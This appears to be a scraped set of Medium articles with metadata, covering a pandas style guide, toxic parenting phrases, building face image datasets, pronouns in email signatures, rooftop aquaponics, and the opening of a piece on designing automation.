DEN -3
DFW -5
B6 ATL 2
DEN 12
DFW 4
DL ATL 0
DEN -3
DFW 10
dtype: int64
This returns a Series with a MultiIndex with two levels. The data values are the same, but in a different order. Calling reset_index will get us back to a single-index DataFrame.
>>> ad_idx.stack().reset_index()
Renaming columns with melt
I prefer melt as you can rename columns directly and you can avoid dealing with a MultiIndex. The var_name and value_name parameters are provided to melt to rename the reshaped columns. It’s also unnecessary to list out all of the columns you are melting because all the columns not found in id_vars will be reshaped.
>>> ad.melt(id_vars='airline', var_name='airport',
value_name='arrival delay')
Guidance — Use melt over stack because it allows you to rename columns and it avoids a MultiIndex
The Similarity between pivot and unstack
We’ve already seen how the pivot method words. unstack is its analog that works with values in the index. Let’s look at the simple DataFrame that we used with pivot .
>>> df = pd.read_csv('data/state_fruit.csv')
>>> df
The unstack method pivots values in the index. We must set the index to contain the columns that we would have used as the index and columns parameters in the pivot method. Let’s do that now.
>>> df_idx = df.set_index(['state', 'fruit'])
>>> df_idx
Now we can use unstack without any parameters, which will pivot the index level closest to the actual data (the fruit column) so that its unique values become the new column names.
>>> df_idx.unstack()
The result is nearly identical to what was returned with the pivot method except now we have a MultiIndex for the columns.
Guidance — Use pivot_table over unstack or pivot
Both pivot and unstack work similarly but from above, pivot_table can handle all cases that pivot can, so I suggest using it over both of the others.
End of Specific Examples
The above specific examples cover many of the most common tasks within Pandas where there are multiple different approaches you can take. For each example, I argued for using a single approach. This is the approach that I use when doing a data analysis with Pandas and the approach I teach to my students.
The Zen of Python
Minimally Sufficient Python was inspired by the Zen of Python, a list of 19 aphorisms giving guidance for language usage by Tim Peters. The aphorism in particular worth noting is the following:
There should be one-- and preferably only one --obvious way to do it.
I find that the Pandas library disobeys this guidance more than any other library I have encountered. Minimally Sufficient Pandas is an attempt to steer users so that this principle is upheld.
Pandas Style Guide
While the specific examples above provide guidance for many tasks, it is not an exhaustive list that covers all corners of the library. You may also disagree with some of the guidance.
To help you use the library I recommend creating a “Pandas style guide”. This isn’t much different than coding style guides that are often created so that codebases look similar. This is something that greatly benefits teams of analysts that all use Pandas. Enforcing a Pandas style guide can help by:
Having all common data analysis tasks use the same syntax
Making it easier to put Pandas code in production
Reducing the chance of landing on a Pandas bug. There are thousands of open issues. Using a smaller subset of the library will help avoid these.
Best of the API
The Pandas DataFrame API is enormous. There are dozens of methods that have little to no use or are aliases. Below is my list of all the DataFrame attributes and methods that I consider sufficient to complete nearly any task.
Attributes
columns
dtypes
index
shape
T
values
Aggregation Methods
all
any
count
describe
idxmax
idxmin
max
mean
median
min
mode
nunique
sum
std
var
Non-Aggretaion Statistical Methods
abs
clip
corr
cov
cummax
cummin
cumprod
cumsum
diff
nlargest
nsmallest
pct_change
prod
quantile
rank
round
Subset Selection
head
iloc
loc
tail
Missing Value Handling
dropna
fillna
interpolate
isna
notna
Grouping
expanding
groupby
pivot_table
resample
rolling
Joining Data
append
merge
Other
asfreq
astype
copy
drop
drop_duplicates
equals
isin
melt
plot
rename
replace
reset_index
sample
select_dtypes
shift
sort_index
sort_values
to_csv
to_json
to_sql
Functions
pd.concat
pd.crosstab
pd.cut
pd.qcut
pd.read_csv
pd.read_json
pd.read_sql
pd.to_datetime
pd.to_timedelta
Conclusion
I feel strongly that Minimally Sufficient Pandas is a useful guide for those wanting to increase their effectiveness at data analysis without getting lost in the syntax.
Master Python, Data Science and Machine Learning
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Get the All Access Pass now!
|
https://medium.com/dunder-data/minimally-sufficient-pandas-a8e67f2a2428
|
['Ted Petrou']
|
2020-11-26 00:17:25.217000+00:00
|
['Machine Learning', 'Python', 'Data Science', 'Data Analysis', 'Pandas']
|
5 Things Toxic Parents Say And What They Really Mean
|
If you were raised by a toxic parent, you usually know it. The trauma can be long-lasting and can quite literally ruin your life.
A toxic parent’s behavior is defined by self-centered attitudes, controlling, physical and psychological abuse, manipulations, and complete disregard for personal boundaries.
Generally, toxic parents try to control you by invoking a sense of intense guilt, obligation, or inadequacy. One way to help yourself not get emotionally engaged when they attack you is to realize what hides behind the insults they are throwing at you. Their toxic behavior is, first and foremost, a reflection of their own internal conflict and angst.
Here are the 5 phrases your parents may have used and their hidden meanings:
1. “I sacrificed so much for you! I gave you everything! If it weren’t for you, I would have achieved so much more.”
These phrases are meant to make you feel guilty and indebted to everything your parents have ever done for you. They can potentially take the form of reminding you about all the food they put on the table, as well as paying for your various expenses, including college tuition. In particular, your mother may constantly remind you that she gave birth to you and what a sacrifice it was for her. Thus you are just stuck constantly feeling that you owe your parents something, and this debt can never be repaid.
Sometimes parents use this attack to make you do something specific that you don’t want to do because controlling someone who is chronically guilty is much easier. More fundamentally, however, this is a way for them to project their anxiety and life dissatisfaction externally.
What it really means
If your parent says this to you, you need to understand that they are deeply unsatisfied with how their lives turned out. They weren’t able to achieve what they wanted and are disappointed — in themselves. Still, they are in denial about their role in the situation and refuse to take responsibility for this outcome. It’s hard to admit your mistakes — it’s much easier to blame and shift this responsibility to someone else, like your child.
2. “Look at yourself! What is wrong with you? Your friends/job/education is no good.”
This is meant to make you feel ashamed of yourself because you choose to behave in a way that goes against your parent’s desires. Your mother may want you to go to a prestigious school, associate with certain people, and have a job she can brag about to her friends — not because she cares about how you feel, but because it reflects well on her.
Shame is used as a tool to make you conform. The feeling of shame can be even more powerful than guilt because guilt is a consequence of a concrete action that can be corrected. Shame, however, is more fundamental. As social creatures, we are most afraid of social rejection and being considered inadequate and not deserving of approval.
What it really means
If your parent uses this phrase towards you, she is extremely insecure and afraid of rejection. She herself is filled with shame and preoccupied with public opinion because of her low self-esteem, so she projects her insecurity on you. Furthermore, narcissistic parents often consider their offspring an extension of themselves. Therefore, they assess everything about you, primarily from the perspective of how it makes them look in the eyes of others. Thus, if society criticizes you (e.g., because you chose a non-conventional path in life), they internalize it as an attack on themselves.
3. “You are just like your father!”
If your parents are divorced, then chances are, your mother will go out of her way to turn you against your father. Your mother still likely harbors a lot of resentment towards her ex-husband, which she is unable to process because she’s refusing to accept responsibility and blames others for the conflict. Instead of working through her issues in an emotionally mature fashion, she will get you involved and guilt you into feeling like you are a bad person, just like your father.
What it really means
This attack is your mother’s projection of her negativity towards your father on you. On top of that, if your father was the one who initiated the break, she may be secretly afraid of abandonment and is seeking reassurance that you won’t do the same. Finally, if you have a close relationship with your father, she can be simply jealous. Because of her inability to manage and resolve her own negative emotions, she will project these feelings on you.
|
https://medium.com/be-unique/5-things-toxic-parents-say-and-what-they-really-mean-b2bbfaec1536
|
['Anastasia Summersault']
|
2020-10-04 11:17:48.644000+00:00
|
['Parents', 'Childhood', 'Family', 'Parenting', 'Motherhood']
|
Creating Custom Face Datasets: From Zero To Hero
|
Face recognition, classification, and detection have numerous real-world applications. Right from the mobile device’s camera to your office’s attendance system, the ever-increasing demand for face detection systems has given rise to a number of online APIs, services, and apps that perform this task for developers, for instance, Firebase MLKit, Google Cloud Vision, Microsoft Face API, IBM Visual Recognition.
If you’re a seasoned ML developer, you’d like to train your own model and using your own data. The reason why you’re collecting your own data could be,
The task which the model will preform is different from the services/APIs which tech giants offer. Your model performs badly in real-world situations as the existing dataset does not include varied samples.
We’ll walk through this short story on how to collect images from the internet like a pro!
We’ll try to make an end-to-end solution to our problem. Given a keyword, we’ll directly get a .npy file containing cropped and resized images.
You can find the Python implementation in this Colab notebook,
Google Image Search is the place where we’ll search for images.
Yeah absolutely! But not randomly downloading each image and cropping faces out of them. We’ll use a web crawler which will one by one download each image from a Google Search result and saves it on your machine.
We’ll use the icrawler package available in PIP to scrape images from the Google Search.
Snippet 1
You can use more attributes for type , size and license also. See here.
Wait, the downloaded images are very big. I only need a cropped part of the face.
We know, that face classification systems will require cropped and aligned face images like the ones shown below. Somehow, we need to crop multiple faces from these images.
Cropped face images.
We can use dlib. It’s a face detection system for Python. Given an image, it outputs a bounding box. Using this bounding box, we can crop the image and store it separately in a list . We may also resize the cropped image using PIL to the size which our model will require like 224 * 224.
Snippet 2
That’s All! The image dataset is ready to use as a .npy file! You may visualize the cropped images using matplotlib like,
Snippet 3
The output will look like this,
|
https://medium.com/analytics-vidhya/creating-custom-face-datasets-from-zero-to-hero-824461dd1391
|
['Shubham Panchal']
|
2020-06-17 04:04:22.108000+00:00
|
['Machine Learning', 'Artificial Intelligence', 'Image Processing', 'Data Science', 'Data']
|
Why I Put Pronouns on my Email Signature (and LinkedIn profile) and You Should Too
|
As a cisgender person, it costs you nothing
For a cisgender person (a person whose gender is in alignment with the sex they were assigned at birth- more on that another time!) there is little to no risk in sharing your pronouns. When you’ve never questioned what pronouns people use for you, or even thought about the idea of pronouns after you learned about them in 2nd grade, sharing your pronouns on digital profiles is easy and costs you nothing.
Jay Bendett, co-founder of Argo Collective, with their pronouns “they/them” visible on their Linkedin profile.
For a person who is transgender or nonbinary, sharing pronouns can be a bit riskier. If someone is transitioning at work and only a few people know about it, sharing pronouns may out them before they’re ready. For a nonbinary person, sharing they/them pronouns often only sparks a lengthier conversation (*coughthisarticlecough*) rather than simply inform people.
That’s why we ask cisgender people to lead the change by sharing pronouns. It normalizes the process, has little risk, and actually makes for a safer environment for everyone.
Small action, big impact
At Argo Collective, we always have our workshop attendees make a commitment before the close of each session. One of our clients committed to adding his pronouns on his LinkedIn profile. Two days after he added “He/Him” after his last name, a University reached out to him and said they noticed he and some of his colleagues added pronouns on LinkedIn. The University told him they had a transgender student who was looking for an internship placement and this company seemed like a safe environment for the student to begin their career.
That’s why pronouns matter. It might be the beginning of a huge career for this student, who might have had trouble to find his first job as a transgender person.
Becoming an LGBTQ ally
Our friend Craig Forman (Sr. People Scientist at Culture Amp) explains what he learned about the value of sharing pronouns as a cisgender person:
How to add your pronouns on Linkedin
It can be tricky to add your pronouns on Linkedin because for now, Linkedin doesn’t support a specific field for pronouns. (We know this is a problem, and we talked with LinkedIn to encourage them to add a specific pronoun field.) In the meantime, You can add “They-Them, She-Her, or He-Him (or whatever other pronouns you use!) after your last name.
Adding my pronouns after my last name: [Max] | [Masure (they-them)]
**Sidenote: when editing your LinkedIn profile on your computer, you can’t use the character “/” (annoying, we know). However, you can use “/” when editing your last name on the Linkedin app. Life-hacks for the win! The important thing is showing pronouns however possible.
Be an ally through email, too
Try adding your pronouns to your email signature! It’s another easy way to not only inform people you communicate with of your pronouns but normalizes this process for everyone.
Max Masure’s email signature including pronouns and a link to why they show them
Feel free to copy-paste our own signature template and replace the pronouns by yours. At the bottom, we add a link to this page so more people can learn about why pronouns matter and why they should also add theirs:
Be vocal
Normalizing the usage of pronouns is a concrete, impactful way to show your advocacy for LGBTQIA+ individuals. It takes some practice to transform the unfamiliar into the familiar. At first, it might be awkward to share pronouns when you meet someone, but after a while, you probably won’t even hear it.
So, however you identify, be proud of your pronouns and encourage others to as well! It helps more people than you think.
Argo Collective gender inclusive pronouns stickers
Co-author: Jay Bendett
|
https://medium.com/gender-inclusivit/why-i-put-pronouns-on-my-email-signature-and-linkedin-profile-and-you-should-too-d3dc942c8743
|
['Max Masure']
|
2019-03-14 13:43:21.168000+00:00
|
['LGBTQ', 'Advocacy', 'Gender Identity', 'Pronouns', 'Transgender']
|
Rooftop Farming Success
|
Why are farms outside a city ?
You see — we humans desire to eat the sun. But it’s too far and too hot. So we hire the plants to do that for us.
And when they do their jobs well — we eat them.
What’s abundant outside the city — is fresh air and lots and lots of sun. There are no building shadows — which is why your backyard soil cultivation needs so much fertilizer.
How to start ?
To do farming — we need a nutrient medium. Something that the plant roots will hold onto. And absorb nutrients out of.
Soil and Water are the 2 known mediums today.
Hydroponics and Aquaponics — are both water based farming methods.
Between the 3 — I have found success with Aquaponics. The planting density is small — thus many plants can be placed together. And because there’s no nutrient solution to prepare — multiple crops can be grown together. This makes it ideal for hyperlocal farming.
What to expect?
Farming is doing. Robots aren’t ready to grow our food just yet. We humans grow food for humans. It’s unique to our species for the moment.
Expect to give up some of your rooftop area to grow clean and healthy food. Expect to experience the magic of mom nature and the gifts she gives.
Expect peace and happiness. But the most significant expectation you can have from successful rooftop farming — is to give your customers a chance to experience food like they’ve never tasted before.
Are you an Aquaponics practitioner ? I would love to connect with you and learn more. Please come have a see of my instagram channel — instagram.com/pluckit_/
|
https://medium.com/@pluckit/rooftop-farming-success-c156b1659482
|
[]
|
2020-12-27 00:59:41.285000+00:00
|
['City Planning', 'Urban Perspectives', 'City Living', 'Farming', 'Urban Planning']
|
The Reputation Formula: Our Article in Success Magazine
|
Have you ever faced a turning point in life? In an instant, what was there before is no longer, and the future is suddenly uncertain. Maybe you knew it was time for a change and chose it for yourself, or maybe a change was foisted upon you.
Now what?
In our case, the professional lives we had built disappeared, virtually overnight, and we were faced with that ultimate choice.
It was self-assessment time. What we had done working together before was no longer an option. Our financial futures were at stake.
We looked at ourselves and realized we still had one particular expertise to offer, which we had never provided as a service before. We could take all the things we’ve done for ourselves, as individuals, all the information we’ve learned, all the mentoring we’ve received and most importantly all the things we are passionate about and build something brand new.
As we started to focus on the future and rebuild, we realized that we still had something that nobody could ever take away.
We still had our reputation. We still had the trust of many people who believed in us because they had seen us produce results and do things the right way for a very long time.
We wish the same to be true for you because building a business isn’t nearly as valuable as building a reputation. Your reputation is everything, and we’re here to help you master the equation that it’s built upon. But first, you have to understand what is truly at stake when it comes to your reputation in your career or in business.
A lack of revenue or income is not your greatest problem; a lack of reputation is your greatest problem. In our daily lives, we are constantly running around trying to find ways to make more money. But in that frenetic search for more revenue, more income or more profit, we too often overlook the thing that is truly most valuable in the long run: our reputation.
Reputation precedes revenue.
The Reputation Formula
If you focus on building an indestructible reputation, then you will find that sooner or later revenue and income always show up. But if you focus only on trying to increase revenue, then you will find that sooner or later the quality of your reputation goes down.
And the reason is simple: Those who are focused on building a great reputation always treat people the right way. They take care of customers. They value colleagues. They follow through on commitments. They respect competitors. They do the right thing even when it’s not the easy thing for them to do.
Conversely, people who are solely focused on growing revenues put profitability over people, treat customers like numbers and cut corners on necessary change and investments that would make their products and services better for those who use them. They start to think of team members as expendable. They start to make decisions on what is most convenient instead of what is necessary. And where they really get into trouble is when they start doing what is easy instead of what is right. Those people always lose in the long run because they compromise the cornerstone of unique competitive advantage: reputation.
So how exactly do you build a great reputation?
To read the rest of this article in SUCCESS Magazine, simply click here.
|
https://medium.com/@thebrandbuildersgroup/the-reputation-formula-our-article-in-success-magazine-34f9252ba050
|
['Brand Builders Group']
|
2019-04-12 18:00:01.377000+00:00
|
['Personal Branding', 'Entrepreneurship', 'Reputation Management', 'Reputation', 'Success']
|
Multilingual Sites Support is easy in 19.1.3 Oracle Content and Experience (OCE).
|
A Multilingual Site (MLS) is a site available in more than one language. Even though the page structure and content are the same for the site, the language requested could be different. In 19.1.3, Oracle Content and Experience (OCE) supports the ability to translate from one language to other languages easily.
When building an enterprise site, you must select a default language. This default language is important in two regards:
Access to the site using the default site URL is rendered using default language.
https://<server>/site/<mysite>
To access other translated languages used by the site, you can used URL format with <language-locale>:
https://<server>/site/<mysite>/<language-locale>
For example, accessing Portuguese (Brazil) (pt-BR) would use:
https://<server>/site/<mysite>/pt-BR
If you try to access a language not translated by the site, the default language will be used.
2. Updates to the site are done in the default language and the site is translated into other languages.
An enterprise site must have one or more required languages. It may have option languages. Such information is represented by a localization policy. A localization policy is a business rule that determines which languages the site must be translated to before it can be published. A site can be published only when it has been translated to all required languages in the localization policy.
For this blog, we will begin with a site generated from an out-of-the-box template. We will use the default/required language, English (United States), and an optional language, Portuguese (Brazil). Then we will create a translation job to pull out the strings necessary for translation. We will translate from English (United States) to Portuguese (Brazil). Lastly, we will import the translation back to OCE and show how it can be tested. To simplify this blog, we will not deal with Assets, which will be covered in another blog.
Before we can create an enterprise site, we have to create the localization policy and repository. The localization policy determines the languages a site will be available in. Let’s create a localization policy that has the required language, English (United States) (en-US), and an optional language, Portuguese (Brazil) (pt-BR).
Next we will create a repository. The repository is used to contain any assets used in the site, and is required for site creation. We will cover adding assets to a multilingual site in a separate blog.
Now we have to create the site. The template used will be the out-of-the-box template Access.
The repository will be access-repos1, created earlier. The localization policy will be access-local1, created earlier. The default language will be English (United States) (en-US). Since the default language of the site is English (United States) (en-US), accessing the site without a locale in the URL will display in English. For example, both the following URLs will display the site in English:
https://<server>/site/access
https://<server>/site/access/en-US
That will create the site. We are not going to modify the site, but will just use the pages in the template at the moment, to keep things simple. But it should be noted that when updates are made to the site, they will be done in the default language only.
Now we are going to translate the site. To start the translation of a site, select it, and then choose Translate on the More menu to invoke the Create Translate Job dialog.
In the Create Translate Job dialog, enter a name (that is, access-translate1), English (United States) (en-US) will be used as the source language as that is the default language of the site. Pick Portuguese (Brazil) (pt-BR) as the target language.
After the translation job is created, you can click Translation Jobs to see the list of site translation jobs.
Clicking on a particular translation job will show the details of the job, such as source and target languages and status.
Click the Download link to download a zip file of the translation bundle. The translation bundle looks like this:
In the translation bundle, you can see a site folder that contains job.json and a root folder. The job.json file contains the translation job name, a list of pages, target/source languages, and so on. The root folder contains siteinfo.json, structure.json, and pages’ json. The siteinfo.json contains translatable strings such as header, footer, description, and keywords. The structure.json contains translatable strings such as page names. The pages’ json contain a list of translatable strings from components added to the page. Everything under the root folder should be duplicated and translated for each target language.
For this exercise, we will be translating everything under the root folder to another folder, pt-BR for Portuguese Brazil. Folders root and pt-BR will be under the same folder, called sites. For this exercise, you can download the already translated pt-BR.zip and unzip it under the site folder at the same level as the root folder. That will provide the translation for Portuguese Brazil (pt-BR). This is what it should look like for the translation bundle after pt-BR.zip has been unzipped under the site folder.
As an example, site/pt-BR/structure.json which contains the page names, will be translated like this for Portuguese Brazil (pt-BR):
After the translation is done, the entire site folder must be zipped so that it can be imported back into OCE. To create the zip file, for example on Mac, click the site folder and pick Compress “site”. On Windows, right click the site folder and pick Send to > Compressed (zipped) folder. The top-level folder in the zip file has to be the site folder. You can call the zip file whatever you want. It does not have to be called site.zip. Then this zip file can be imported from the Import link on the Translation Jobs page.
The zip file would be uploaded to OCE using the Upload link.
Once the zip file has been uploaded, the following dialog will show the summary before the import operation.
After the import of the translation is done, you can test the translated site by selecting the language in the site’s dropdown menu and viewing the site.
This is a quick example of Multilingual Sites Support in 19.1.3 Oracle Content and Experience (OCE). The feature makes translation of the site easy.
Lastly, language service providers play an important role in the translation process. They make it easy for translators to find out the translation status, keep track of translation artifacts and version dependencies, and provide other translation assistance. To best use Multilingual Site Support, Oracle recommends that you use a language service provider in the translation process.
|
https://medium.com/oracledevs/multilingual-sites-support-is-easy-in-19-1-3-oracle-content-and-experience-oce-b8f26fd250c6
|
['Oce Blogger']
|
2019-02-08 15:12:08.896000+00:00
|
['Oracle Developer', 'Oracle Cloud', 'Oracle Cloud Services', 'Oracle', 'Oracle Developer Cloud']
|
Build a RESTful API with GO and PostgreSQL.
|
Why Go?
Go is an open-source programming language that makes it easy to build simple, reliable, and efficient software.
What we are going to build.
A venue manager API. This API will allow users to Create, Retrieve, Edit and Delete venues.
Prerequisites.
To follow along you will need to have these installed.
Go version 1.13, It is the version used to build this API.
PostgreSQL installed.
An IDE of choice, some of the recommended IDEs are listed here.
An API Request builder. e.g Postman.
I am assuming readers, have a basic understanding of Go.
API Specifications.
Endpoints we will have at the end of this article.
Register a user after a valid POST request at /register .
. Login user after a valid POST request at /login .
. Create a venue after a valid POST request at /api/venues .
. Get venues after a valid GET request at /api/venues .
. Edit a venue after a valid PUT request at /api/venues/id .
. Delete a venue after a valid DELETE request at /api/venues/id .
. Get a venue after a valid GET request at /api/venues/id .
Getting Dependencies.
These are the package dependencies we will need.
badoux/checkmail — for validating user emails.
dgrijalva/jwt-go — to sign and verify jwt tokens.
gorilla/mux — it is a router and dispatcher, for matching URLs to their handlers.
jinzhu/gorm — its an ORM(Object Relational Mapper) will enable us interact with the database.
joho/godotenv — to load .env file, which holds our secrets. e.g database passwords.
file, which holds our secrets. e.g database passwords. crypto — to hash and verify user passwords.
To install these dependencies, open the terminal and type
go get github.com/{package-name} e.g.
go get github.com/badoux/checkmail .
For crypto installation, type
go get golang.org/x/crypto .
Getting started.
Create a PostgreSQL database to store data.
Create .env file in the ivents folder which is the project folder. This the database credentials and secrets such as the SECRET for signing jwt tokens.
SECRET=anything-secret-and-should-be-hard-to-guess
DB_HOST=127.0.0.1
DB_USER=username
DB_PASSWORD=user-password
DB_NAME=database-name
DB_PORT=5432
In the ivents folder, create the api folder and in it create the models folder.
In the models folder, create a user.go file, in which the user structure is defined and database operations helper functions.
The project structure should appear as below.
ievents (project folder)
|--api
|--models
|-- user.go
|-- .env
Below is the user.go file.
models/user.go
This file contains the User struct which represents a user account, functions for cleaning and validating user input data. There are helper functions for querying, saving, updating and deleting users.
Struct tags below are used on the models.
gorm tag adds specifications on how the user table is be created i.e field types and sizes.
json tag is used by encoding/json package for encoding and decoding JSON data.
More information about struct tags can be found here.
This gorm.Model automatically adds fields such as created_at , updated_at and deleted_at so we do not explicitly add those.
Create the base.go file in the controllers folder, create the controllers folder in the api folder. This defines the app structure with references to the router and database used by the application.
base.go
The Initialize method sets up a database connection and runs migrations after the connection from the API is made to the database. The migrations are only run in case of a new table or changes to the structure of an existing table.
The initializeRoutes method matches URLs to handlers and sets Middlewares which are used for setting the content-type to JSON and Verifying Authentication Tokens.
The Runserver method starts the server on port 5000 and logs failures for troubleshooting.
The go-linter will throw errors about UserSignUp and Login not being found, they will be added shortly, so no worries.
To format responses from the API, create a json.go file in the responses folder. The responses folder should be in the api folder.
responses/json.go
The JSON method formats responses into JSON adds status codes and data to return to the user all in the response.
The Error method formats errors to JSON along with the error message and status code.
Middlewares.
These will allow the interception of requests to perform certain actions. Create a middlewares.go file in the middlewares folder, which is also in the api folder.
These middlewares will set the content-type to application/json and also verify user authentication tokens.
middlewares.go
The SetContentTypeMiddleware sets the content-type to JSON a format the API will use.
The AuthJWTVerify verifies user authentication tokens which are acquired at login. After successful verification, the user's ID is added to the request context. This middleware will only allow authenticated users access to protected API routes such as Venue creation.
Access Tokens.
Create a file token.go in the utils folder. The utils should be in the ivents folder.
This encodes information about users in tokens, time token is issued, and its expiry time. The token is then signed off with the secret in the .env file. Below is the file.
utils/tokens.go
User Registration and Login.
Create a userController.go file in the controllers folder. The file adds functionality for creating new users and logging in users. Below is the file.
usercontroller.go
User input is read from the request, then decoded into the user struct. Any white spaces are stripped away from the input and then validated.
For User registration, a check to ensure no existing user with the same email is saved, and an error indicating user with that email is already registered, if the passes the user password is hashed.
The input is then saved to the database creating a new user. A response indicating success is returned or a detailed error message in case of a failure.
For user login, the password from user input is verified with the stored user password hash to check for a match, and an access token is generated. The token along with a success message is returned or error in case of a failed password match.
Create an application entry point.
Create a main.go file in the ivents folder. Here the app is initialized and environment variables loaded from the .env file.
main.go
Current App structure.
The project should be structured as below.
ivents
| -- api
| -- controllers
| -- base.go
| -- userControllers.go
| -- middlewares
| -- middlwares.go
| -- models
| -- user.go
| -- responses
| -- json.go
| -- utils
| -- token.go
| -- .env
| -- main.go
Run application.
To test the application. Open the terminal and type this command below to start the application go run main.go
Using Postman, an API request builder.
Test the create user functionality, as shown below by making a POST request to this URL http://localhost:5000/register and a body with the firstname , lastname , email and password . Content-type must be set to application/json .
create-user
Test the Login functionality too.
To add functionality for managing Venues. Create a venue.go file in the models folder. This file defines the venue structure and functions for database interactions.
venue.go
Create a venueControllers.go file under the controllers folder.
Here we get user input from the request in JSON format, then decode it into the venue struct, strip away any white space and validate it.
Check to ensure no other venue has a similar name before the data is saved or updated.
Check to ensure users can only update and delete their venue, using the venue userID.
The userIDs are obtained from r.Context().Value("userID") . The ID is added to the request context in the AuthJwtVerify middleware.
venueControllers.go
Update the base.go file in the controllers folder, to add the new routes for CRUD venues functionality.
These routes will only be accessed with an Authorization token, a sub router on which the AuthJwtVerify middleware is set, which will check requests to ensure they have a valid token is passed.
The venues model is added to the Initialize function for migration.
Below is the base.go file.
base.go
Start the server with go run main.go to test the new endpoints for creating, editing and deleting venues.
In the follow-up article, we will write tests for all the functionality.
This being a very long article, thanks for reading. CHEERS!!.
The code can be found here .
Like this article, please reach out on twitter @peterwade153. Email at [email protected].
References. I used Kulshekhar Kabra’s article as a reference. It can be found here.
|
https://medium.com/@peterwade153/build-a-restful-api-with-go-and-postgresql-466135ae08c9
|
['Walugembe Peter']
|
2020-05-11 07:26:59.995000+00:00
|
['Postgresql', 'API', 'Rest Api', 'Gorm', 'Go']
|
The Best (and Worst way) of Solving the Palindrome Algorithm Question
|
Some silly palindromes
I have had a few technical interviews lately asking questions that are variations or actually include the palindrome question. This is why I thought it would be relevant to shed some light on how I learned to solve this interview question in the hopes that someone could benefit from how to solve it by reading how I did it.
As far as I know there are 4 ways of solving this question, but when I refer to the best or worst way I am referring to best and worst big-O notation in both time and space complexity. I should also note that I will be solving this problem in JavaScript.
The Problem
A typical string manipulation question, the palindrome question states that if given a string that is not empty, to write a function that will determine if the word or words is spelled the same forwards and backwards.
The final output to determine this could be true or false as anything in JavaScript has a truthy or falsy value anyways. This doesn’t necessarily mean that you have to return the boolean true or false each time however. In other words if you are trying to test an if condition in a function by saying that it needs to return some kind of specific answer, but the input given as an argument would not make it possible to return that answer, then it would return false if tested in a JavaScript console.
Worst way — Making a new reversed string
Approach Summary: The worst way would be to create a new string and go through each letter backwards from the original string to put every letter in reverse and then compare the two strings.
How to solve: We’ll start by defining the function’s name which it is determining if a string is a palindrome so it is named relevantly. Our input would be the string every time the function is called.
function isPalindrome(string) {
Next we’ll set a variable for our eventual reversed string:
const reversedString = ‘’
Now to go through the string itself to concatenate the reversed string we will make a for loop, but it will start from the last letter of the string (let i = string.length -1), then it will keep going until it reaches the first letter of the input (i>=0), and i which represents each index, will decrease every time it runs (i --).
for (let i = string.length -1; i>=0; i — ){
Now to put what goes inside the loop I am using the += operator to concatenate every letter into my empty string which will represent my first string backwards. String[i] represents each letter and it is important to remember that reversedString += string[i] is the same as reversedString = reversedString + string[i].
reversedString += string[i];
}
This next line will be written to return a truthy value where the original string is the same as the reversed string.
return string === reversedString
}
Altogether it looks like the following:
function isPalindrome(string) {
const reversedString = ‘’
for (let i = string.length -1; i>=0; i — ){
reversedString += string[i];
}
return string === reversedString
}
Where this solution fails to be the best would be the fact that it has a big-O notation of O(n^2) for time complexity, not the best on the charts, and O(n) on the space complexity side, pretty good. However this compared to the second solution, clearly shows the other solution having a better time and space complexity, which I will get into soon. The important takeaway to see here is this solution has a bad of a time complexity mainly because the program has to create a brand new string which takes longer.
Best way — Using the pointer system to compare the furthest left and right side
Approach Summary: On the other hand, the best way to solve this problem would be to define a left and right pointer and compare the letter that each is pointing to. Then using a while loop, while the right pointer is on the right and while the left pointer is on the left, if at any point in time the letters the pointers are pointing to are not the same then return false. Otherwise, return true.
How to solve: To begin solving this, it starts off the same way as the last to set up a function where we choose an appropriate name and the input is still the string given.
function isPalindrome(string) {
This time however we are going to set two variables to represent the left and right pointers. The left pointer will represent the first index of the string which starts at 0. To compliment the left, we have a right pointer set equal to the string’s length -1 which represents the furthest number on the right, or last index.
let leftPointer = 0
let rightPointer = string.length-1
Now using the while loop we will say that we want to run the following logic while the left pointer is on the left side compared to the right pointer.
while (leftPointer < rightPointer){
Our logic will contain an if condition that says that if the left letter is not the same as the right letter the first time the loop goes through, then return false. Which means that if our string was “abcbz” and if “a” was not the same as “z” then it would return false at this point.
if(string[leftPointer] !== string[rightPointer]) return false;
Let’s say our string was “abcba” though. The letter “a” and letter “a” on the both ends are the same so it would pass the return false line area and go to the next line which will increment or decrement depending on what it is. If it is a left pointer it will move more to the right and vice versa so that the pointers can compare both sides of the string.
leftPointer++;
rightPointer — ;
}
Now once the pointers are at the same point in the middle, the program will break out of the while loop and will run into the return true statement because that would indicate it never made the if condition true where both sides aren’t the same. This would mean it is a palindrome.
return true
}
Final results for this solution look like this:
function isPalindrome(string) {
let leftPointer = 0
let rightPointer = string.length-1
while (leftPointer < rightPointer){
if(string[leftPointer] !== string[rightPointer]) return false;
leftPointer++;
rightPointer — ;
}
return true
}
At the end of it all, we are left with a time complexity of O(n) and a space complexity of O(1). Why does this approach have better time and space complexity? This is because it doesn’t have to create a new string, all the program has to do is use some simple pointers working with the same size of an input and ultimately return true or false which takes less time than the first solution.
The palindrome question does a great job testing developer’s basic understanding of how to manipulate a string. It is a problem simple enough to solve to have a clearer chance to understand the reasons behind the big-O notations given to each which developers can use in more complicated problems down the road. I hope that this shorter blog was simple enough to help you understand how to solve this question by ultimately breaking down the parts of each solution and give some insight into how big-O notations are given. Until next time!
|
https://medium.com/javascript-in-plain-english/the-best-and-worst-way-of-solving-the-palindrome-question-4b7d2f9ada06
|
['Irene Scott']
|
2020-12-28 07:59:11.049000+00:00
|
['Software Development', 'Software Engineering', 'Algorithms', 'JavaScript', 'Web Development']
|
4 principles for designing automation with great user experience
|
4 principles for designing automation with great user experience
Improve user experience by adhering to the principles of transparency, predictability, adaptability and level of automation.
Reference: Scott Adams (2018). “Dilbert”. Available at Dilbert.com
While automation may improve our lives, that highly depends on how we implement it. Unfortunately, there has yet to be a focus on how to design automation which improves user experience. However, major industries such as the aviation industry started successfully automating functions back in the 1980s. This gives us 40 odd years of research to draw on.
Last year, I wrote my master thesis of psychology about automation. More precisely, I wrote about how to design Shore Control Center’s. These are centers which will be used for monitoring and/or controlling autonomous ships.
Based on the extensive reading I did while writing my thesis, I have synthesized the four most important principles for designing great automation.
1. Transparency — guide the user’s mental model
It is not a coincidence that transparency is the first item on this list. Above all else, transparency is key for successful automation.
Transparency refers to understanding how a system works. For instance, imagine if a toaster was see-through. That we could see the heaters glow up, toasting the bread on both sides. Then perhaps it would be so transparent that Hobbes would understand where the bread goes.
Reference: Bill Watterson (1988). “Calvin and Hobbes” Available at https://pbs.twimg.com/media/DbqbSqDUwAAaBVW.jpg
Making a system understandable is nothing new in UX. Products that are simple to understand affords better mental models for our users. However, it becomes a bigger challenge when it comes to automation.
